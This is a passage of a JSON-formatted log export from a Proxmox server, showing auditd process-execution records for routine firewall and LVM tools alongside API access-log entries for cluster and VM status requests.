{"@timestamp":1781964055418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.418:59385): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee330 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.361:68284): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445232,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.232:61062): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965283993,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.878:61598): arch=c000003e syscall=59 success=no exit=-2 a0=7ffecb09c770 a1=61c981182310 a2=61c98117b680 a3=5 items=1 ppid=59126 pid=59127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055303,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.303:68264): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965252325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965252.325:64812): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055412,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.412:59384): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1476f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065347,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.347:68283): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445225,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.225:61061): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965283993,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.890:61590): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055301,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.301:68263): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965252.325:64811): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964054473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964054.473:59383): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73edd40 a1=64f8d73de840 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.340:68282): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445217,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.217:61060): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965282692,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.890:61589): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055299,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.299:68262): argc=1 a0=\"date\""} {"@timestamp":1781965252314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965252.314:64809): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964054437,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964054.437:59382): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73af880 a1=64f8d73de7e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.335:68281): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b88010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445210,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.210:61059): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965282692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.880:61587): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055294,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.294:68260): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965252314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965252.314:64808): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964052766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964052.766:59381): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065323,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.323:68280): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eddd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445205,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.205:61057): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965282692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964574.880:61586): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055286,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.286:68259): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965247305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965247.305:64806): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964052755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964052.755:59378): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065315,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.315:68279): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e62f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445200,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.200:61056): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965280987,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964569.874:61582): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055278,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.278:68258): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965247305,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965247.305:64805): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964047.740:59375): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.262:68278): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445195,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.195:61055): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965279981,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964569.874:61581): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055270,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.270:68257): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965247298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965247.298:64803): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964047727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964047.727:59372): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966065253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966065.253:68275): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445189,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.189:61054): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965279981,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964569.866:61579): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055261,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.261:68256): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965247298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965247.298:64802): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.938:67151): arch=c000003e syscall=59 success=yes exit=0 a0=63b546f3a0a0 a1=63b546f36e20 a2=63b546f18680 a3=5 items=2 ppid=64490 pid=64496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966064253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966064.253:68272): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6d81d70 a1=64f8d740aa40 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445180,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.180:61053): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965279981,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964569.866:61578): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055253,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.253:68254): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965245831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.831:64798): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd265d7e00 a1=57b2fbb35310 a2=57b2fbb2e680 a3=5 items=1 ppid=62250 pid=62251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.934:67150): arch=c000003e syscall=59 success=yes exit=0 a0=63b528abeac8 a1=7ffc7e5b8320 a2=63b546f18680 a3=63b528aa224e items=2 ppid=64490 pid=64492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966064226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966064.226:68271): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6740 a1=64f8d72e04a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445175,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.175:61052): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965279981,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.829:61574): arch=c000003e syscall=59 success=no exit=-2 a0=7ffff4292b40 a1=62e680cb53d0 a2=62e680c93680 a3=5 items=1 ppid=59106 pid=59107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055247,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.247:68253): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965245725,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.725:64780): arch=c000003e syscall=59 success=no exit=-2 a0=7fff4cc707d0 a1=5d17f84d3310 a2=5d17f84cc680 a3=5 items=1 ppid=62231 pid=62232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795933,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.933:67149): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc7e5b82e0 a1=63b546f35d10 a2=63b546f18680 a3=5 items=2 ppid=64490 pid=64491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966060.243:68270): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445168,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.168:61051): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965277869,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964565.751:61556): arch=c000003e syscall=59 success=no exit=-2 a0=7fff9d5ac820 a1=5763b3bfe3d0 a2=5763b3bdc680 a3=5 items=1 ppid=59087 pid=59088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055242,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.242:68252): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965242291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965242.291:64770): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965795.926:67147): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966060232,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966060.232:68267): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964445162,"@rawstring":"node=pve type=EXECVE msg=audit(1781964445.162:61050): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965277869,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964564.861:61548): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055236,"@rawstring":"node=pve type=EXECVE msg=audit(1781966055.236:68251): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965242291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965242.291:64769): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" 